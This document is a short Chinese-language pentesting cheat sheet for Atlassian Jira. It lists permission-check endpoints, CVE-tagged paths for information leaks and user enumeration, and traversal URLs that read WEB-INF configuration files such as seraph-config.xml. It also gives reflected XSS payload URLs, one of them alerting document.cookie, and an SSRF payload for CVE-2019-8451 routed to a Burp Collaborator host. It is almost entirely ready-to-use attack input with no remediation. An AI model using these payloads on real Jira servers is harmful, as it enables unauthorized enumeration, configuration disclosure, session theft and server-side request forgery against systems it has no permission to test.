Jira是由Atlassian开发的项目管理和问题追踪工具。它最常用于软件开发，但也可用于管理IT、商业等其他领域的项目。

Jira权限

Jira中的权限可由任何用户访问：

• ADD_COMMENTS

• ADMINISTER

• ADMINISTER_PROJECTS

• ASSIGNABLE_USER

• 等…

查看用户被授予的权限：

1

https://yourdomain.atlassian.net/rest/api/2/mypermissions?permissions=ADD_COMMENTS

将域名替换为实际域名后使用以下任一权限参数：

Jira中的重要路径

可能泄露信息的Jira路径：

• /secure/ManageFilters.jspa?filter=popular&filterView=popular
• /secure/Dashboard.jspa => 项目密钥枚举 => CVE-2020-14178
• /secure/QueryComponent!Default.jspa => CVE-2020-14179
• /secure/ViewUserHover.jspa?username=<uname> => CVE-2020-14181 用户名枚举
• /secure/popups/UserPickerBroswer.jspa
• /ConfigurePortalPages!default.jspa?view=popular
• /secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin
• /_*/;/WEB-INF/web.xml
• /_*/;/WEB-INF/decorators.xml
• /_*/;/WEB-INF/classes/seraph-config.xml
• /_*/;/META-INF/maven/com.atlassian.jira/jira-webappdist/pom.properties
• /_*/;/META-INF/maven/com.atlassian.jira/jira-webappdist/pom.xml
• /_*/;/META-INF/maven/com.atlassian.jira/atlassianjira-webapp/pom.xml

Jira中的XSS攻击

1
2
3
4

/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search
/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search
/plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true
/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)

Jira用户枚举

• 用户名枚举 => CVE-2019-3403
• /rest/api/2/user/picker?query=admin
• /rest/api/2/dashboard?maxResults=100
• /rest/api/2/dashboard/FUZZ 从1-20000枚举
• /rest/api/3/mypermissions
• /rest/api/2/mypermissions

Jira信息泄露

• /rest/dashboards/1.0/10000/gadget/<GadgetId>/prefs
• 暴力破解10000到20000 => CVE-2020-36287
• CVE-2019-8442 /s/thiscanbeanythingyouwant/_/METAINF/maven/com.atlassian.jira/atlassian-jirawebapp/pom.xml
• CVE-2019-8449 /rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true

SSRF漏洞

• CVE-2019-8451

1

http://vulnerablehost.com/plugins/servlet/gadgets/makeRequest?url=http://vulnerablehost.com@http://burpcollab.net

Jira自动化工具

• Jira-Lens
• jira_scan
• Jiraffe

重要资源

https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting